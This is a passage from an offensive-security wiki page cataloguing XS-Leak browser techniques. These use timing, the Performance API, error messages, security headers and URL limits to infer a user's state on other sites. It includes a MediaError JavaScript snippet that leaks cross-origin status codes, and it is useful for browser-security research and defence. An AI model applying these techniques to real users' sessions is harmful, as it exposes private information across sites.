[https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)<sup>[[15]](#references)</sup> -- **Summary**: Gather sensitive information from a postMessage or use the presence of postMessages as an oracle to know the status of the user in the page -- **Code Example**: `Any code listening for all postMessages.` - -Applications frequently utilize [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) to communicate across different origins. However, this method can inadvertently expose **sensitive information** if the `targetOrigin` parameter is not properly specified, allowing any window to receive the messages. Furthermore, the mere act of receiving a message can act as an **oracle**; for instance, certain messages might only be sent to users who are logged in. Therefore, the presence or absence of these messages can reveal information about the user's state or identity, such as whether they are authenticated or not. - -## Global Limits Techniques - -### WebSocket API - -- **Inclusion Methods**: Frames, Pop-ups -- **Detectable Difference**: API Usage -- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)<sup>[[1]](#references)</sup> -- **Summary**: Exhausting the WebSocket connection limit leaks the number of WebSocket connections of a cross-origin page. -- **Code Example**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>) - -It is possible to identify if, and how many, **WebSocket connections a target page uses**. It allows an attacker to detect application states and leak information tied to the number of WebSocket connections. - -If one **origin** uses the **maximum amount of WebSocket** connection objects, regardless of their connections state, the creation of **new objects will result in JavaScript exceptions**. To execute this attack, the attacker website opens the target website in a pop-up or iframe and then, after the target web has been loaded, attempts to create the maximum number of WebSockets connections possible. The **number of thrown exceptions** is the **number of WebSocket connections used by the target website** window. - -### Payment API - -- **Inclusion Methods**: Frames, Pop-ups -- **Detectable Difference**: API Usage -- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)<sup>[[1]](#references)</sup> -- **Summary**: Detect Payment Request because only one can be active at a time. -- **Code Example**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak) - -This XS-Leak enables an attacker to **detect when a cross-origin page initiates a payment request**. - -Because **only one request payment can be active** at the same time, if the target website is using the Payment Request API, any f**urther attempts to show use this API will fail**, and cause a **JavaScript exception**. The attacker can exploit this by **periodically attempting to show the Payment API UI**. If one attempt causes an exception, the target website is currently using it. The attacker can hide these periodical attempts by immediately closing the UI after creation. - -### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a> - -- **Inclusion Methods**: -- **Detectable Difference**: Timing (generally due to Page Content, Status Code) -- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)<sup>[[16]](#references)</sup> -- **Summary:** Measure execution time of a web abusing the single-threaded JS event loop. -- **Code Example**: - - -{{#ref}} -xs-search/event-loop-blocking-+-lazy-images.md -{{#endref}} - -JavaScript operates on a [single-threaded event loop](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) concurrency model, signifying that **it can only execute one task at a time**. This characteristic can be exploited to gauge **how long code from a different origin takes to execute**. An attacker can measure the execution time of their own code in the event loop by continuously dispatching events with fixed properties. These events will be processed when the event pool is empty. If other origins are also dispatching events to the same pool, an **attacker can infer the time it takes for these external events to execute by observing delays in the execution of their own tasks**. This method of monitoring the event loop for delays can reveal the execution time of code from different origins, potentially exposing sensitive information. - -> [!WARNING] -> In an execution timing it's possible to **eliminate** **network factors** to obtain **more precise measurements**. For example, by loading the resources used by the page before loading it. - -### Busy Event Loop <a href="#busy-event-loop" id="busy-event-loop"></a> - -- **Inclusion Methods**: -- **Detectable Difference**: Timing (generally due to Page Content, Status Code) -- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)<sup>[[17]](#references)</sup> -- **Summary:** One method to measure the execution time of a web operation involves intentionally blocking the event loop of a thread and then timing **how long it takes for the event loop to become available again**. By inserting a blocking operation (such as a long computation or a synchronous API call) into the event loop, and monitoring the time it takes for subsequent code to begin execution, one can infer the duration of the tasks that were executing in the event loop during the blocking period. This technique leverages the single-threaded nature of JavaScript's event loop, where tasks are executed sequentially, and can provide insights into the performance or behavior of other operations sharing the same thread. -- **Code Example**: - -A significant advantage of the technique of measuring execution time by locking the event loop is its potential to circumvent **Site Isolation**. **Site Isolation** is a security feature that separates different websites into separate processes, aiming to prevent malicious sites from directly accessing sensitive data from other sites. However, by influencing the execution timing of another origin through the shared event loop, an attacker can indirectly extract information about that origin's activities. This method does not rely on direct access to the other origin's data but rather observes the impact of that origin's activities on the shared event loop, thus evading the protective barriers established by **Site Isolation**. - -> [!WARNING] -> In an execution timing it's possible to **eliminate** **network factors** to obtain **more precise measurements**. For example, by loading the resources used by the page before loading it. - -### Connection Pool - -- **Inclusion Methods**: JavaScript Requests -- **Detectable Difference**: Timing (generally due to Page Content, Status Code) -- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)<sup>[[18]](#references)</sup> -- **Summary:** An attacker could lock all the sockets except 1, load the target web and at the same time load another page, the time until the last page is starting to load is the time the target page took to load. -- **Code Example**: - - -{{#ref}} -xs-search/connection-pool-example.md -{{#endref}} - -Browsers utilize sockets for server communication, but due to the limited resources of the operating system and hardware, **browsers are compelled to impose a limit** on the number of concurrent sockets. Attackers can exploit this limitation through the following steps: - -1. Ascertain the browser's socket limit, for instance, 256 global sockets. -2. Occupy 255 sockets for an extended duration by initiating 255 requests to various hosts, designed to keep the connections open without completing. -3. Employ the 256th socket to send a request to the target page. -4. Attempt a 257th request to a different host. Given that all sockets are in use (as per steps 2 and 3), this request will be queued until a socket becomes available. The delay before this request proceeds provides the attacker with timing information about the network activity related to the 256th socket (the target page's socket). This inference is possible because the 255 sockets from step 2 are still engaged, implying that any newly available socket must be the one released from step 3. The time taken for the 256th socket to become available is thus directly linked to the time required for the request to the target page to complete. - -For more info: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/) - -### Connection Pool by Destination - -- **Inclusion Methods**: JavaScript Requests -- **Detectable Difference**: Timing (generally due to Page Content, Status Code) -- **More info**: -- **Summary:** It's like the previous technique but instead of using all the sockets, Google **Chrome** puts a limit of **6 concurrent request to the same origin**. If we **block 5** and then **launch a 6th** request we can **time** it and if we managed to make the **victim page send** more **requests** to the same endpoint to detect a **status** of the **page**, the **6th request** will take **longer** and we can detect it. - -## Performance API Techniques - -The [`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) offers insights into the performance metrics of web applications, further enriched by the [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). The Resource Timing API enables the monitoring of detailed network request timings, such as the duration of the requests. Notably, when servers include the `Timing-Allow-Origin: *` header in their responses, additional data like the transfer size and domain lookup time becomes available. - -This wealth of data can be retrieved via methods like [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) or [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), providing a comprehensive view of performance-related information. Additionally, the API facilitates the measurement of execution times by calculating the difference between timestamps obtained from [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). However, it's worth noting that for certain operations in browsers like Chrome, the precision of `performance.now()` may be limited to milliseconds, which could affect the granularity of timing measurements. - -Beyond timing measurements, the Performance API can be leveraged for security-related insights. For instance, the presence or absence of pages in the `performance` object in Chrome can indicate the application of `X-Frame-Options`. Specifically, if a page is blocked from rendering in a frame due to `X-Frame-Options`, it will not be recorded in the `performance` object, providing a subtle clue about the page's framing policies. - -### Error Leak - -- **Inclusion Methods**: Frames, HTML Elements -- **Detectable Difference**: Status Code -- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)<sup>[[1]](#references)</sup> -- **Summary:** A request that results in errors will not create a resource timing entry. -- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak) - -It is possible to **differentiate between HTTP response status codes** because requests that lead to an **error** do **not create a performance entry**. - -### Style Reload Error - -- **Inclusion Methods**: HTML Elements -- **Detectable Difference**: Status Code -- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)<sup>[[1]](#references)</sup> -- **Summary:** Due to a browser bug, requests that result in errors are loaded twice. -- **Code Example**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak) - -In the previous technique it was also identified two cases where browser bugs in GC lead to **resources being loaded twice when they fail to load**. This will result in multiple entries in the Performance API and can thus be detected. - -### Request Merging Error - -- **Inclusion Methods**: HTML Elements -- **Detectable Difference**: Status Code -- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)<sup>[[1]](#references)</sup> -- **Summary:** Requests that result in an error can not be merged. -- **Code Example**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak) - -The technique was found in a table in the mentioned paper but no description of the technique was found on it. However, you can find the source code checking for it in [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak) - -### Empty Page Leak - -- **Inclusion Methods**: Frames -- **Detectable Difference**: Page Content -- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)<sup>[[1]](#references)</sup> -- **Summary:** Empty responses do not create resource timing entries. -- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak) - -An attacker can detect if a request resulted in an empty HTTP response body because e**mpty pages do not create a performance entry in some browsers**. - -### **XSS-Auditor Leak** - -- **Inclusion Methods**: Frames -- **Detectable Difference**: Page Content -- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)<sup>[[1]](#references)</sup> -- **Summary:** Using the XSS Auditor in Security Assertions, attackers can detect specific webpage elements by observing alterations in responses when crafted payloads trigger the auditor's filtering mechanism. -- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak) - -In Security Assertions (SA), the XSS Auditor, originally intended to prevent Cross-Site Scripting (XSS) attacks, can paradoxically be exploited to leak sensitive information. Although this built-in feature was removed from Google Chrome (GC), it's still present in SA. In 2013, Braun and Heiderich demonstrated that the XSS Auditor could inadvertently block legitimate scripts, leading to false positives. Building on this, researchers developed techniques to extract information and detect specific content on cross-origin pages, a concept known as XS-Leaks, initially reported by Terada and elaborated by Heyes in a blog post. Although these techniques were specific to the XSS Auditor in GC, it was discovered that in SA, pages blocked by the XSS Auditor do not generate entries in the Performance API, revealing a method through which sensitive information might still be leaked. - -### X-Frame Leak - -- **Inclusion Methods**: Frames -- **Detectable Difference**: Header -- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)<sup>[[1]](#references)[[19]](#references)[[20]](#references)</sup> -- **Summary:** Resource with X-Frame-Options header does not create resource timing entry. -- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak) - -If a page is **not allowed** to be **rendered** in an **iframe** it does **not create a performance entry**. As a result, an attacker can detect the response header **`X-Frame-Options`**.\ -Same happens if you use an **embed** **tag.** - -### Download Detection - -- **Inclusion Methods**: Frames -- **Detectable Difference**: Header -- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)<sup>[[1]](#references)</sup> -- **Summary:** Downloads do not create resource timing entries in the Performance API. -- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection) - -Similar, to the XS-Leak described, a **resource that is downloaded** because of the ContentDisposition header, also does **not create a performance entry**. This technique works in all major browsers. - -### Redirect Start Leak - -- **Inclusion Methods**: Frames -- **Detectable Difference**: Redirect -- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)<sup>[[1]](#references)</sup> -- **Summary:** Resource timing entry leaks the start time of a redirect. -- **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak) - -We found one XS-Leak instance that abuses the behavior of some browsers which log too much information for cross-origin requests. The standard defines a subset of attributes that should be set to zero for cross-origin resources. However, in **SA** it is possible to detect if the user is **redirected** by the target page, by querying the **Performance API** and checking for the **redirectStart timing data**. - -### Duration Redirect Leak - -- **Inclusion Methods**: Fetch API -- **Detectable Difference**: Redirect -- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)<sup>[[1]](#references)</sup> -- **Summary:** The duration of timing entries is negative when a redirect occurs. -- **Code Example**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak) - -In GC, the **duration** for requests that result in a **redirect** is **negative** and can thus be **distinguished** from requests that do not result in a redirect. - -### CORP Leak - -- **Inclusion Methods**: Frames -- **Detectable Difference**: Header -- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)<sup>[[1]](#references)</sup> -- **Summary:** Resource protected with CORP do not create resource timing entries. -- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak) - -In some cases, the **nextHopProtocol entry** can be used as a leak technique. In GC, when the **CORP header** is set, the nextHopProtocol will be **empty**. Note that SA will not create a performance entry at all for CORP-enabled resources. - -### Service Worker - -- **Inclusion Methods**: Frames -- **Detectable Difference**: API Usage -- **More info**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)<sup>[[21]](#references)</sup> -- **Summary:** Detect if a service worker is registered for a specific origin. -- **Code Example**: - -Service workers are event-driven script contexts that run at an origin. They run in the background of a web page and can intercept, modify, and **cache resources** to create offline web application.\ -If a **resource cached** by a **service worker** is accessed via **iframe**, the resource will be **loaded from the service worker cache**.\ -To detect if the resource was **loaded from the service worker** cache the **Performance API** can be used.\ -This could also be done with a Timing attack (check the paper for more info). - -### Cache - -- **Inclusion Methods**: Fetch API -- **Detectable Difference**: Timing -- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)<sup>[[22]](#references)</sup> -- **Summary:** It is possible to check if a resource was stored in the cache. -- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](<https://xsinator.com/testing.html#Cache%20Leak%20(POST)>) - -Using the [Performance API](xs-search.md#performance-api) it's possible to check if a resource is cached. - -### Network Duration - -- **Inclusion Methods**: Fetch API -- **Detectable Difference**: Page Content -- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)<sup>[[23]](#references)</sup> -- **Summary:** It is possible to retrieve the network duration of a request from the `performance` API. -- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration) - -## Error Messages Technique - -### Media Error - -- **Inclusion Methods**: HTML Elements (Video, Audio) -- **Detectable Difference**: Status Code -- **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)<sup>[[24]](#references)</sup> -- **Summary:** In Firefox is possible to accurately leak a cross-origin request’s status code. -- **Code Example**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output) - -```javascript -// Code saved here in case it dissapear from the link -// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/ -window.addEventListener("load", startup, false) -function displayErrorMessage(msg) { - document.getElementById("log").innerHTML += msg -} - -function startup() { - let audioElement = document.getElementById("audio") - // "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3"; - document.getElementById("startTest").addEventListener( - "click", - function () { - audioElement.src = document.getElementById("testUrl").value - }, - false - ) - // Create the event handler - var errHandler = function () { - let err = this.error - let message = err.message - let status = "" - - // Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed" - // Firefox error.message when the request loads successfully: "Failed to init decoder" - if ( - message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1 || - message.indexOf("Failed to init decoder") != -1 - ) { - status = "Success" - } else { - status = "Error" - } - displayErrorMessage( - "<strong>Status: " + - status + - "</strong> (Error code:" + - err.code + - " / Error Message: " + - err.message + - ")<br>" - ) - } - audioElement.onerror = errHandler -} -``` - -The `MediaError` interface's message property uniquely identifies resources that load successfully with a distinct string. An attacker can exploit this feature by observing the message content, thereby deducing the response status of a cross-origin resource. - -### CORS Error - -- **Inclusion Methods**: Fetch API -- **Detectable Difference**: Header -- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)<sup>[[1]](#references)</sup> -- **Summary:** In Security Assertions (SA), CORS error messages inadvertently expose the full URL of redirected requests. -- **Code Example**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak) - -This technique enables an attacker to **extract the destination of a cross-origin site's redirect** by exploiting how Webkit-based browsers handle CORS requests. Specifically, when a **CORS-enabled request** is sent to a target site that issues a redirect based on user state and the browser subsequently denies the request, the **full URL of the redirect's target** is disclosed within the error message. This vulnerability not only reveals the fact of the redirect but also exposes the redirect's endpoint and any **sensitive query parameters** it may contain. - -### SRI Error - -- **Inclusion Methods**: Fetch API -- **Detectable Difference**: Header -- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)<sup>[[1]](#references)</sup> -- **Summary:** In Security Assertions (SA), CORS error messages inadvertently expose the full URL of redirected requests. -- **Code Example**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak) - -An attacker can exploit **verbose error messages** to deduce the size of cross-origin responses. This is possible due to the mechanism of Subresource Integrity (SRI), which uses the integrity attribute to validate that resources fetched, often from CDNs, haven't been tampered with. For SRI to work on cross-origin resources, these must be **CORS-enabled**; otherwise, they're not subject to integrity checks. In Security Assertions (SA), much like the CORS error XS-Leak, an error message can be captured after a fetch request with an integrity attribute fails. Attackers can deliberately **trigger this error** by assigning a **bogus hash value** to the integrity attribute of any request. In SA, the resulting error message inadvertently reveals the content length of the requested resource. This information leakage allows an attacker to discern variations in response size, paving the way for sophisticated XS-Leak attacks. - -### CSP Violation/Detection - -- **Inclusion Methods**: Pop-ups -- **Detectable Difference**: Status Code -- **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)<sup>[[25]](#references)[[26]](#references)[[27]](#references)</sup> -- **Summary:** Allowing only the victims website in the CSP if we accessed it tries to redirect to a different domain the CSP will trigger a detectable error. -- **Code Example**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation) - -A XS-Leak can use the CSP to detect if a cross-origin site was redirected to a different origin. This leak can detect the redirect, but additionally, the domain of the redirect target leaks. The basic idea of this attack is to **allow the target domain on the attacker site**. Once a request is issued to the target domain, it **redirects** to a cross-origin domain. **CSP blocks** the access to it and creates a **violation report used as a leak technique**. Depending on the browser, **this report may leak the target location of the redirect**.\ -Modern browsers won't indicate the URL it was redirected to, but you can still detect that a cross-origin redirect was triggered. - -### Cache - -- **Inclusion Methods**: Frames, Pop-ups -- **Detectable Difference**: Page Content -- **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)<sup>[[28]](#references)[[29]](#references)</sup> -- **Summary:** Clear the file from the cache. Opens target page checks if the file is present in the cache. -- **Code Example:** - -Browsers might use one shared cache for all websites. Regardless of their origin, it is possible to deduct whether a target page has **requested a specific file**. - -If a page loads an image only if the user is logged in, you can **invalidate** the **resource** (so it's no longer cached if it was, see more info links), **perform a request** that could load that resource and try to load the resource **with a bad request** (e.g. using an overlong referer header). If the resource load **didn't trigger any error**, it's because it was **cached**. - -### CSP Directive - -- **Inclusion Methods**: Frames -- **Detectable Difference**: Header -- **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)<sup>[[30]](#references)</sup> -- **Summary:** CSP header directives can be probed using the CSP iframe attribute, revealing policy details. -- **Code Example**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak) - -A novel feature in Google Chrome (GC) allows web pages to **propose a Content Security Policy (CSP)** by setting an attribute on an iframe element, with policy directives transmitted along with the HTTP request. Normally, the embedded content must **authorize this via an HTTP header**, or an **error page is displayed**. However, if the iframe is already governed by a CSP and the newly proposed policy isn't more restrictive, the page will load normally. This mechanism opens a pathway for an attacker to **detect specific CSP directives** of a cross-origin page by identifying the error page. Although this vulnerability was marked as fixed, our findings reveal a **new leak technique** capable of detecting the error page, suggesting that the underlying problem was never fully addressed. - -### **CORP** - -- **Inclusion Methods**: Fetch API -- **Detectable Difference**: Header -- **More info**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)<sup>[[31]](#references)</sup> -- **Summary:** Resources secured with Cross-Origin Resource Policy (CORP) will throw an error when fetched from a disallowed origin. -- **Code Example**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak) - -The CORP header is a relatively new web platform security feature that when set b**locks no-cors cross-origin requests to the given resource**. The presence of the header can be detected, because a resource protected with CORP will **throw an error when fetched**. - -### CORB - -- **Inclusion Methods**: HTML Elements -- **Detectable Difference**: Headers -- **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)<sup>[[32]](#references)</sup> -- **Summary**: CORB can allow attackers to detect when the **`nosniff` header is present** in the request. -- **Code Example**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak) - -Check the link for more information about the attack. - -### CORS error on Origin Reflection misconfiguration <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a> - -- **Inclusion Methods**: Fetch API -- **Detectable Difference**: Headers -- **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)<sup>[[33]](#references)</sup> -- **Summary**: If the Origin header is reflected in the header `Access-Control-Allow-Origin` it's possible to check if a resource is in the cache already. -- **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration) - -In case the **Origin header** is being **reflected** in the header `Access-Control-Allow-Origin` an attacker can abuse this behaviour to try to **fetch** the **resource** in **CORS** mode. If an **error** **isn't** triggered, it means that it was **correctly retrieved form the web**, if an error is **triggered**, it's because it was **accessed from the cache** (the error appears because the cache saves a response with a CORS header allowing the original domain and not the attackers domain)**.**\ -Note that if the origin isn't reflected but a wildcard is used (`Access-Control-Allow-Origin: *`) this won't work. - -## Readable Attributes Technique - -### Fetch Redirect - -- **Inclusion Methods**: Fetch API -- **Detectable Difference**: Status Code -- **More info**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)<sup>[[34]](#references)</sup> -- **Summary:** GC and SA allow to check the response’s type (opaque-redirect) after the redirect is finished. -- **Code Example**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak) - -Submitting a request using the Fetch API with `redirect: "manual"` and other params, it's possible to read the `response.type` attribute and if it's equals to `opaqueredirect` then the response was a redirect. - -### COOP - -- **Inclusion Methods**: Pop-ups -- **Detectable Difference**: Header -- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)<sup>[[1]](#references)[[35]](#references)</sup> -- **Summary:** Pages safeguarded by Cross-Origin Opener Policy (COOP) prevent access from cross-origin interactions. -- **Code Example**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak) - -An attacker is capable of deducing the presence of the Cross-Origin Opener Policy (COOP) header in a cross-origin HTTP response. COOP is utilized by web applications to hinder external sites from obtaining arbitrary window references. The visibility of this header can be discerned by attempting to access the **`contentWindow` reference**. In scenarios where COOP is applied conditionally, the **`opener` property** becomes a telltale indicator: it's **undefined** when COOP is active, and **defined** in its absence. - -### URL Max Length - Server Side - -- **Inclusion Methods**: Fetch API, HTML Elements -- **Detectable Difference**: Status Code / Content -- **More info**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)<sup>[[36]](#references)</sup> -- **Summary:** Detect differences in responses because of the redirect response length migt be too large that the server replays with an error and an alert is generated. -- **Code Example**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak) - -If a server-side redirect uses **user input inside the redirection** and **extra data**. It's possible to detect this behaviour because usually **servers** has a **limit request length**. If the **user data** is that **length - 1**, because the **redirect** is using **that data** and **adding** something **extra**, it will trigger an **error detectable via Error Events**. - -If you can somehow set cookies to a user, you can also perform this attack by **setting enough cookies** ([**cookie bomb**](hacking-with-cookies/cookie-bomb.md)) so with the **response increased size** of the **correct response** an **error** is triggered. In this case, remember that is you trigger this request from a same site, `<script>` will automatically send the cookies (so you can check for errors).\ -An example of the **cookie bomb + XS-Search** can be found in the Intended solution of this writeup: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)<sup>[[37]](#references)</sup> - -`SameSite=None` or to be in the same context is usually needed for this type of attack. - -### URL Max Length - Client Side - -- **Inclusion Methods**: Pop-ups -- **Detectable Difference**: Status Code / Content -- **More info**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)<sup>[[38]](#references)</sup> -- **Summary:** Detect differences in responses because of the redirect response length might too large for a request that a difference can be noticed. -- **Code Example**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit) - -According to [Chromium documentation](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length), Chrome's maximum URL length is 2MB.<sup>[[39]](#references)</sup> - -> In general, the _web platform_ does not have limits on the length of URLs (although 2^31 is a common limit). _Chrome_ limits URLs to a maximum length of **2MB** for practical reasons and to avoid causing denial-of-service problems in inter-process communication. - -Therefore if the **redirect URL responded is larger in one of the cases**, it's possible to make it redirect with a **URL larger than 2MB** to hit the **length limit**. When this happens, Chrome shows an **`about:blank#blocked`** page. - -The **noticeable difference**, is that if the **redirect** was **completed**, `window.origin` throws an **error** because a cross origin cannot access that info. However, if the **limit** was hit and the loaded page was **`about:blank#blocked`** the window's **`origin`** remains that of the **parent**, which is an **accessible information.** - -All the extra info needed to reach the **2MB** can be added via a **hash** in the initial URL so it will be **used in the redirect**. - - -{{#ref}} -xs-search/url-max-length-client-side.md 